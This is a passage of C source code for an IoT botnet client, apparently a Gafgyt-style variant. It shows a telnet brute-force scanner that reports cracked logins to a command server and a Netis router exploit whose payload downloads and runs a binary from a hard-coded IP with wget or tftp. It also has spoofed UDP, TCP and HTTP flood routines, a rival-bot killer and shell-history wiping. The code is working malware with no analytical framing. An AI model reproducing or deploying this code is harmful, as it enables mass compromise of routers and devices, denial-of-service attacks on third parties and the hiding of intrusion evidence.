szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
1116
}
1117
if(randnum == 65)
1118
{
1119
szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
1120
}
1121
if(randnum == 66)
1122
{
1123
szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
1124
}
1125
if(randnum == 67)
1126
{
1127
szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
1128
}
1129
if(randnum == 68)
1130
{
1131
szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
1132
}
1133
if(randnum == 69)
1134
{
1135
szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
1136
}
1137
if(randnum == 70)
1138
{
1139
szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
1140
}
1141
if(randnum == 71)
1142
{
1143
szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
1144
}
1145
if(randnum == 72)
1146
{
1147
szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
1148
}
1149
if(randnum == 73)
1150
{
1151
szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
1152
}
1153
if(randnum == 74)
1154
{
1155
szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
1156
}
1157
if(randnum == 75)
1158
{
1159
szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
1160
}
1161
if(randnum == 76)
1162
{
1163
szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
1164
}
1165
if(randnum == 77)
1166
{
1167
szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
1168
}
1169
if(randnum == 78)
1170
{
1171
szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
1172
}
1173
if(randnum == 79)
1174
{
1175
szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
1176
}
1177
if(randnum == 80)
1178
{
1179
szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
1180
}
1181
if(randnum == 81)
1182
{
1183
szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
1184
}
1185
if(randnum == 82)
1186
{
1187
szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
1188
}
1189
if(randnum == 83)
1190
{
1191
szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
1192
}
1193
if(randnum == 84)
1194
{
1195
szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
1196
}
1197
if(randnum == 85)
1198
{
1199
szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
1200
}
1201
if(randnum == 86)
1202
{
1203
szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
1204
}
1205
if(randnum == 87)
1206
{
1207
szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
1208
}
1209
if(randnum == 88)
1210
{
1211
szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
1212
}
1213
if(randnum == 89)
1214
{
1215
szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
1216
}
1217
if(randnum == 90)
1218
{
1219
szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
1220
}
1221
if(randnum == 91)
1222
{
1223
szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
1224
}
1225
if(randnum == 92)
1226
{
1227
szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
1228
}
1229
if(randnum == 93)
1230
{
1231
szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
1232
}
1233
if(randnum == 94)
1234
{
1235
szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
1236
}
1237
if(randnum == 95)
1238
{
1239
szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
1240
}
1241
if(randnum == 96)
1242
{
1243
szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
1244
}
1245
if(randnum == 97)
1246
{
1247
szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
1248
}
1249
if(randnum == 98)
1250
{
1251
szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
1252
}
1253
if(randnum == 99)
1254
{
1255
szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
1256
}
1257
if(randnum == 100)
1258
{
1259
szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
1260
}
1261
if(randnum == 101)
1262
{
1263
szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
1264
}
1265
if(randnum == 102)
1266
{
1267
szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
1268
}
1269
if(randnum == 103)
1270
{
1271
szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
1272
}
1273
if(randnum == 104)
1274
{
1275
szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
1276
}
1277
if(randnum == 105)
1278
{
1279
szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
1280
}
1281
if(randnum == 106)
1282
{
1283
szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
1284
}
1285
if(randnum == 107)
1286
{
1287
szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
1288
}
1289
if(randnum == 108)
1290
{
1291
szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
1292
}
1293
if(randnum == 109)
1294
{
1295
szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
1296
}
1297
if(randnum == 110)
1298
{
1299
szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
1300
}
1301
if(randnum == 111)
1302
{
1303
szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
1304
}
1305
if(randnum == 112)
1306
{
1307
szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
1308
}
1309
if(randnum == 113)
1310
{
1311
szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
1312
}
1313
if(randnum == 114)
1314
{
1315
szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
1316
}
1317
if(randnum == 115)
1318
{
1319
szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
1320
}
1321
1322
1323
return inet_addr(ip);
1324
}
1325
1326
in_addr_t NetisRanges()
1327
{
1328
int range = rand() % (sizeof(Nranges)/sizeof(char *));
1329
ipState[0] = Nranges[range];
1330
ipState[1] = rand() % 255;
1331
ipState[2] = rand() % 255;
1332
ipState[3] = rand() % 255;
1333
char ip[16] = {0};
1334
szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
1335
return inet_addr(ip);
1336
}
1337
1338
in_addr_t GetRandomIP(in_addr_t netmask)
1339
{
1340
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
1341
return tmp ^ ( rand_cmwc() & ~netmask);
1342
}
1343
1344
unsigned short csum (unsigned short *buf, int count)
1345
{
1346
register uint64_t sum = 0;
1347
while( count > 1 ) { sum += *buf++; count -= 2; }
1348
if(count > 0) { sum += *(unsigned char *)buf; }
1349
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
1350
return (uint16_t)(~sum);
1351
}
1352
1353
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
1354
{
1355
1356
struct tcp_pseudo
1357
{
1358
unsigned long src_addr;
1359
unsigned long dst_addr;
1360
unsigned char zero;
1361
unsigned char proto;
1362
unsigned short length;
1363
} pseudohead;
1364
unsigned short total_len = iph->tot_len;
1365
pseudohead.src_addr=iph->saddr;
1366
pseudohead.dst_addr=iph->daddr;
1367
pseudohead.zero=0;
1368
pseudohead.proto=IPPROTO_TCP;
1369
pseudohead.length=htons(sizeof(struct tcphdr));
1370
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
1371
unsigned short *tcp = malloc(totaltcp_len);
1372
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
1373
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
1374
unsigned short output = csum(tcp,totaltcp_len);
1375
free(tcp);
1376
return output;
1377
}
1378
1379
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
1380
{
1381
iph->ihl = 5;
1382
iph->version = 4;
1383
iph->tos = 0;
1384
iph->tot_len = sizeof(struct iphdr) + packetSize;
1385
iph->id = rand_cmwc();
1386
iph->frag_off = 0;
1387
iph->ttl = MAXTTL;
1388
iph->protocol = protocol;
1389
iph->check = 0;
1390
iph->saddr = source;
1391
iph->daddr = dest;
1392
}
1393
1394
int sclose(int fd)
1395
{
1396
if(3 > fd) return 1;
1397
close(fd);
1398
return 0;
1399
}
1400
int socket_connect(char *host, in_port_t port) {
1401
struct hostent *hp;
1402
struct sockaddr_in addr;
1403
int on = 1, sock;
1404
if ((hp = gethostbyname(host)) == NULL) return 0;
1405
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
1406
addr.sin_port = htons(port);
1407
addr.sin_family = AF_INET;
1408
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
1409
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
1410
if (sock == -1) return 0;
1411
if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
1412
return 0;
1413
return sock;
1414
}
1415
1416
void StartTheLelz(int wait_usec, int maxfds)
1417
{
1418
int i, res, num_tmps, j;
1419
char buf[128], cur_dir;
1420
1421
int max = maxfds;
1422
fd_set fdset;
1423
struct timeval tv;
1424
socklen_t lon;
1425
int valopt;
1426
1427
srand(time(NULL) ^ rand_cmwc());
1428
1429
char line[256];
1430
char* buffer;
1431
struct sockaddr_in dest_addr;
1432
dest_addr.sin_family = AF_INET;
1433
dest_addr.sin_port = htons(23);
1434
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1435
1436
buffer = malloc(BUFFER_SIZE + 1);
1437
memset(buffer, 0, BUFFER_SIZE + 1);
1438
1439
struct telstate_t fds[max];
1440
1441
1442
memset(fds, 0, max * (sizeof(int) + 1));
1443
for(i = 0; i < max; i++)
1444
{
1445
memset(&(fds[i]), 0, sizeof(struct telstate_t));
1446
fds[i].complete = 1;
1447
fds[i].sockbuf = buffer;
1448
}
1449
for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );
1450
1451
1452
1453
while(1)
1454
{
1455
for(i = 0; i < max; i++)
1456
{
1457
if(fds[i].totalTimeout == 0)
1458
{
1459
fds[i].totalTimeout = time(NULL);
1460
}
1461
1462
switch(fds[i].state)
1463
{
1464
case 0:
1465
{
1466
if(fds[i].complete == 1)
1467
{
1468
// clear the current fd
1469
char *tmp = fds[i].sockbuf;
1470
memset(&(fds[i]), 0, sizeof(struct telstate_t));
1471
fds[i].sockbuf = tmp;
1472
// get a new random ip
1473
fds[i].ip = GetRandomPublicIP();
1474
}
1475
else if(fds[i].complete == 0)
1476
{
1477
fds[i].passwordInd++;
1478
fds[i].usernameInd++;
1479
1480
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *))
1481
{
1482
fds[i].complete = 1;
1483
continue;
1484
}
1485
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *))
1486
{
1487
fds[i].complete = 1;
1488
continue;
1489
}
1490
}
1491
1492
dest_addr.sin_family = AF_INET;
1493
dest_addr.sin_port = htons(23);
1494
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1495
dest_addr.sin_addr.s_addr = fds[i].ip;
1496
1497
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1498
1499
if(fds[i].fd == -1) continue;
1500
1501
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1502
1503
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
1504
{
1505
reset_telstate(&fds[i]);
1506
}
1507
else
1508
{
1509
advance_state(&fds[i], 1);
1510
}
1511
}
1512
break;
1513
case 1:
1514
{
1515
FD_ZERO(&fdset);
1516
FD_SET(fds[i].fd, &fdset);
1517
tv.tv_sec = 0;
1518
tv.tv_usec = wait_usec;
1519
res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
1520
1521
if(res == 1)
1522
{
1523
lon = sizeof(int);
1524
valopt = 0;
1525
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1526
//printf("%d\n",valopt);
1527
if(valopt)
1528
{
1529
reset_telstate(&fds[i]);
1530
}
1531
else
1532
{
1533
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
1534
advance_state(&fds[i], 2);
1535
}
1536
continue;
1537
}
1538
else if(res == -1)
1539
{
1540
reset_telstate(&fds[i]);
1541
continue;
1542
}
1543
1544
if(fds[i].totalTimeout + 5 < time(NULL))
1545
{
1546
reset_telstate(&fds[i]);
1547
}
1548
}
1549
break;
1550
1551
case 2:
1552
{
1553
if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
1554
{
1555
if(contains_fail(fds[i].sockbuf))
1556
{
1557
advance_state(&fds[i], 0);
1558
}
1559
else
1560
{
1561
advance_state(&fds[i], 3);
1562
}
1563
1564
continue;
1565
}
1566
1567
if(fds[i].totalTimeout + 7 < time(NULL))
1568
{
1569
reset_telstate(&fds[i]);
1570
}
1571
}
1572
break;
1573
1574
case 3:
1575
{
1576
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
1577
{
1578
reset_telstate(&fds[i]);
1579
continue;
1580
}
1581
1582
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
1583
{
1584
reset_telstate(&fds[i]);
1585
continue;
1586
}
1587
1588
advance_state(&fds[i], 4);
1589
}
1590
break;
1591
1592
case 4:
1593
{
1594
if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
1595
{
1596
if(contains_fail(fds[i].sockbuf))
1597
{
1598
advance_state(&fds[i], 0);
1599
}
1600
else
1601
{
1602
advance_state(&fds[i], 5);
1603
}
1604
continue;
1605
}
1606
1607
if(fds[i].totalTimeout + 3 < time(NULL))
1608
{
1609
reset_telstate(&fds[i]);
1610
}
1611
}
1612
break;
1613
1614
case 5:
1615
{
1616
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
1617
{
1618
reset_telstate(&fds[i]);
1619
continue;
1620
}
1621
1622
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
1623
{
1624
reset_telstate(&fds[i]);
1625
continue;
1626
}
1627
1628
advance_state(&fds[i], 6);
1629
}
1630
break;
1631
1632
case 6:
1633
{
1634
if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2))
1635
{
1636
fds[i].totalTimeout = time(NULL);
1637
1638
if(contains_fail(fds[i].sockbuf))
1639
{
1640
advance_state(&fds[i], 0);
1641
}
1642
else if(contains_success(fds[i].sockbuf))
1643
{
1644
if(fds[i].complete == 2)
1645
{
1646
advance_state(&fds[i], 7);
1647
}
1648
else
1649
{
1650
sockprintf(mainCommSock, "LOGIN FOUND - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
1651
advance_state(&fds[i], 7);
1652
}
1653
}
1654
else
1655
{
1656
reset_telstate(&fds[i]);
1657
}
1658
continue;
1659
}
1660
1661
1662
if(fds[i].totalTimeout + 7 < time(NULL))
1663
{
1664
reset_telstate(&fds[i]);
1665
}
1666
}
1667
break;
1668
case 7:
1669
{
1670
fds[i].totalTimeout = time(NULL);
1671
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) <0);
1672
if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
1673
if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0)
1674
{
1675
reset_telstate(&fds[i]);
1676
continue;
1677
}
1678
1679
if(fds[i].totalTimeout + 25 < time(NULL))
1680
{
1681
if(fds[i].complete !=3){
1682
}
1683
reset_telstate(&fds[i]);
1684
}
1685
break;
1686
}
1687
}
1688
}
1689
}
1690
}
1691
1692
void sendSTD(unsigned char *ip, int port, int secs) {
1693
1694
int iSTD_Sock;
1695
1696
iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
1697
1698
time_t start = time(NULL);
1699
1700
struct sockaddr_in sin;
1701
1702
struct hostent *hp;
1703
1704
hp = gethostbyname(ip);
1705
1706
bzero((char*) &sin,sizeof(sin));
1707
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
1708
sin.sin_family = hp->h_addrtype;
1709
sin.sin_port = port;
1710
1711
unsigned int a = 0;
1712
1713
while(1){
1714
char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "lsk", "kek", "smack", "ily", "tyf", "pos", "cunts"};
1715
char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
1716
if (a >= 50)
1717
{
1718
send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
1719
connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
1720
if (time(NULL) >= start + secs)
1721
{
1722
close(iSTD_Sock);
1723
_exit(0);
1724
}
1725
a = 0;
1726
}
1727
a++;
1728
}
1729
}
1730
1731
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
1732
{
1733
struct sockaddr_in dest_addr;
1734
1735
dest_addr.sin_family = AF_INET;
1736
if(port == 0) dest_addr.sin_port = rand_cmwc();
1737
else dest_addr.sin_port = htons(port);
1738
if(getHost(target, &dest_addr.sin_addr)) return;
1739
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1740
1741
register unsigned int pollRegister;
1742
pollRegister = pollinterval;
1743
1744
if(spoofit == 32)
1745
{
1746
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
1747
if(!sockfd)
1748
{
1749
sockprintf(mainCommSock, "Failed opening raw socket.");
1750
return;
1751
}
1752
1753
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
1754
if(buf == NULL) return;
1755
memset(buf, 0, packetsize + 1);
1756
makeRandomStr(buf, packetsize);
1757
1758
int end = time(NULL) + timeEnd;
1759
register unsigned int i = 0;
1760
register unsigned int ii = 0;
1761
while(1)
1762
{
1763
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1764
1765
if(i == pollRegister)
1766
{
1767
if(port == 0) dest_addr.sin_port = rand_cmwc();
1768
if(time(NULL) > end) break;
1769
i = 0;
1770
continue;
1771
}
1772
i++;
1773
if(ii == sleepcheck)
1774
{
1775
usleep(sleeptime*1000);
1776
ii = 0;
1777
continue;
1778
}
1779
ii++;
1780
}
1781
} else {
1782
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
1783
if(!sockfd)
1784
{
1785
sockprintf(mainCommSock, "Failed opening raw socket.");
1786
return;
1787
}
1788
1789
int tmp = 1;
1790
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1791
{
1792
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1793
return;
1794
}
1795
1796
int counter = 50;
1797
while(counter--)
1798
{
1799
srand(time(NULL) ^ rand_cmwc());
1800
init_rand(rand());
1801
}
1802
1803
in_addr_t netmask;
1804
1805
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1806
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1807
1808
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
1809
struct iphdr *iph = (struct iphdr *)packet;
1810
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
1811
1812
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
1813
1814
udph->len = htons(sizeof(struct udphdr) + packetsize);
1815
udph->source = rand_cmwc();
1816
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1817
udph->check = 0;
1818
1819
makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
1820
1821
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1822
1823
int end = time(NULL) + timeEnd;
1824
register unsigned int i = 0;
1825
register unsigned int ii = 0;
1826
while(1)
1827
{
1828
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1829
1830
udph->source = rand_cmwc();
1831
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1832
iph->id = rand_cmwc();
1833
iph->saddr = htonl( GetRandomIP(netmask) );
1834
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1835
1836
if(i == pollRegister)
1837
{
1838
if(time(NULL) > end) break;
1839
i = 0;
1840
continue;
1841
}
1842
i++;
1843
1844
if(ii == sleepcheck)
1845
{
1846
usleep(sleeptime*1000);
1847
ii = 0;
1848
continue;
1849
}
1850
ii++;
1851
}
1852
}
1853
}
1854
1855
void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
1856
{
1857
register unsigned int pollRegister;
1858
pollRegister = pollinterval;
1859
1860
struct sockaddr_in dest_addr;
1861
1862
dest_addr.sin_family = AF_INET;
1863
if(port == 0) dest_addr.sin_port = rand_cmwc();
1864
else dest_addr.sin_port = htons(port);
1865
if(getHost(target, &dest_addr.sin_addr)) return;
1866
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1867
1868
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
1869
if(!sockfd)
1870
{
1871
sockprintf(mainCommSock, "Failed opening raw socket.");
1872
return;
1873
}
1874
1875
int tmp = 1;
1876
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1877
{
1878
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1879
return;
1880
}
1881
1882
in_addr_t netmask;
1883
1884
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1885
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1886
1887
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
1888
struct iphdr *iph = (struct iphdr *)packet;
1889
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
1890
1891
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
1892
1893
tcph->source = rand_cmwc();
1894
tcph->seq = rand_cmwc();
1895
tcph->ack_seq = 0;
1896
tcph->doff = 5;
1897
1898
if(!strcmp(flags, "all"))
1899
{
1900
tcph->syn = 1;
1901
tcph->rst = 1;
1902
tcph->fin = 1;
1903
tcph->ack = 1;
1904
tcph->psh = 1;
1905
} else {
1906
unsigned char *pch = strtok(flags, ",");
1907
while(pch)
1908
{
1909
if(!strcmp(pch, "syn"))
1910
{
1911
tcph->syn = 1;
1912
} else if(!strcmp(pch, "rst"))
1913
{
1914
tcph->rst = 1;
1915
} else if(!strcmp(pch, "fin"))
1916
{
1917
tcph->fin = 1;
1918
} else if(!strcmp(pch, "ack"))
1919
{
1920
tcph->ack = 1;
1921
} else if(!strcmp(pch, "psh"))
1922
{
1923
tcph->psh = 1;
1924
} else {
1925
sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
1926
}
1927
pch = strtok(NULL, ",");
1928
}
1929
}
1930
1931
tcph->window = rand_cmwc();
1932
tcph->check = 0;
1933
tcph->urg_ptr = 0;
1934
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
1935
tcph->check = tcpcsum(iph, tcph);
1936
1937
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1938
1939
int end = time(NULL) + timeEnd;
1940
register unsigned int i = 0;
1941
while(1)
1942
{
1943
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1944
1945
iph->saddr = htonl( GetRandomIP(netmask) );
1946
iph->id = rand_cmwc();
1947
tcph->seq = rand_cmwc();
1948
tcph->source = rand_cmwc();
1949
tcph->check = 0;
1950
tcph->check = tcpcsum(iph, tcph);
1951
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1952
1953
if(i == pollRegister)
1954
{
1955
if(time(NULL) > end) break;
1956
i = 0;
1957
continue;
1958
}
1959
i++;
1960
}
1961
}
1962
1963
void botkiller(){
1964
int i;
1965
while(1){
1966
for(i = 0; i < 9; i++){
1967
char command[80];
1968
sprintf(command, "pkill -9 ");
1969
strcat(command, knownBots[i]);
1970
system(command);
1971
sprintf(command, "pkill -9 \"");
1972
strcat(command, knownBots[i]);
1973
strcat(command, "\"");
1974
system(command);
1975
}
1976
sleep(5);
1977
}
1978
}
1979
1980
void NetisScanner()
1981
{
1982
while(1){
1983
int netisSocket;
1984
struct sockaddr_in serverAddr;
1985
socklen_t addr_size;
1986
netisSocket = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
1987
serverAddr.sin_family = AF_INET;
1988
serverAddr.sin_port = htons(53413);
1989
serverAddr.sin_addr.s_addr = NetisRanges();
1990
addr_size = sizeof serverAddr;
1991
memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
1992
char* LoginPayload = "AAAAAAAAnetcore\x00";
1993
char* CommandPayload = "AA\x00\x00AAAA cd /var/; rm -rf cuntysshd; wget http://64.137.253.50/cuntysshd || tftp -r cuntysshd -g 64.137.253.50; chmod 777 cuntysshd; ./cuntysshd; rm -rf cuntysshd\x00";
1994
sendto(netisSocket, LoginPayload, strlen(LoginPayload), 0, (struct sockaddr_in *) &serverAddr, sizeof(serverAddr));
1995
sendto(netisSocket, CommandPayload, strlen(CommandPayload), 0, (struct sockaddr_in *) &serverAddr, sizeof(serverAddr));
1996
close(netisSocket);
1997
}
1998
}
1999
2000
2001
void ClearHistory()
2002
{
2003
system("history -c;history -w");
2004
system("cd /root;rm -rf .bash_history");
2005
system("cd /var/tmp; rm -f *");
2006
}
2007
2008
// HTTP Flood
2009
void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
2010
const char *useragents[] = {
2011
"Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
2012
"Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
2013
"Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
2014
"Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
2015
"Opera/6.04 (Windows XP; U) [en]",
2016
"Opera/9.99 (X11; U; sk)",
2017
"Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
2018
"Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
2019
"Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
2020
"Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
2021
"Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
2022
"Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
2023
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
2024
"Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
2025
"Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
2026
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
2027
"Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
2028
"Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
2029
"Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
2030
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
2031
"Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
2032
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
2033
"Mozilla/5.0 (PLAYSTATION 3; 3.55)",
2034
